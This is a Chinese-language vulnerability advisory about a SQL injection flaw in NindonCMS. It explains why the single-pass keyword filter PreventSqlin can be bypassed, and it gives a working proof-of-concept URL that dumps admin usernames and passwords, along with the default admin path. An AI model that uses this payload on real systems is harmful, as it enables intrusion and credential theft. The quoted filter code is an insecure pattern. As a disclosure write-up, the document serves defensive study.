<p>漏洞描述:</p><p>NindonCMS系统对访问者提交的数据参数过滤不严,导致攻击者可以随时提交构造好的SQL语句查询数据库获取敏感信息。同时,系统默认后台地址也相当容易暴露。</p><p>漏洞详情:</p><p>由于NindonCMS系统是基于开源ASPCMS开发,所以如果开发人员在开发过程中不注意,则会导致很多现在已经补上的ASPCMS漏洞在二次开发的CMS系统上重现。这个漏洞源于ASPCMS系统,但是既然是做二次开发,就应该尽力去弥补安全上的不足。</p><p>其原理很明确:NindonCMS在处理浏览器提交的数据时使用filterPara函数过滤,这个函数接着调用了PreventSqlin和Checkxss两个函数进行字符过滤,PreventSqlin用来过滤SQL注入语句,而Checkxss是用来过滤跨站输入。关键就是在PreventSqlin函数 /inc/AspCms_CommonFun.asp函数内容如下: </p><p>Function preventSqlin(content) </p><p>dim sqlStr,sqlArray,i,speStr </p><p>sqlStr=”<|>|%|%27|’|” |;|*|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr” ‘这是函数要过滤的SQL关键词 </p><p>if isNul(content) then Exit Function </p><p>sqlArray=split(sqlStr,”|”) ‘用符号将其分割成数组 </p><p>for i=lbound(sqlArray) to ubound(sqlArray) </p><p>if instr(lcase(content),sqlArray(i))<>0 then </p><p>select case sqlArray(i) </p><p>case “<”:speStr=”<” case “>”:speStr=”>” </p><p>case “‘”,”"”":speStr=”"” </p><p>‘case “;”:speStr=”;” </p><p>case else:speStr=”" </p><p>end select ‘如果出现了 < > ‘ “ ; 则将其HTML转义 </p><p>content=replace(content,sqlArray(i),speStr,1,-1,1) ‘如果出现关键字则将其替换为空。 </p><p>end if </p><p>next </p><p>preventSqlin=content </p><p>End Function </p><p>该函数乍看的确是安全的,但是还有一种情况就是用户提交的是类似于SELECT的但是包含过滤字符,当多余的字符被过滤掉之后反而形成一个SELECT关键字,这个基本同于ASPCMS的SQL注入漏洞问题,实际上应该用循环匹配替换。 </p><p>漏洞验证:</p><p>爆出管理员密码:</p><p><a href="http://www.xyz.com/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user">http://www.xyz.com/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user</a></p><p>系统默认后台是:<a href="http://www.xyz.com/system">http://www.xyz.com/system</a></p><p> </p><p>----------------------------------------</p><p><font color="#e33737">
暂无评论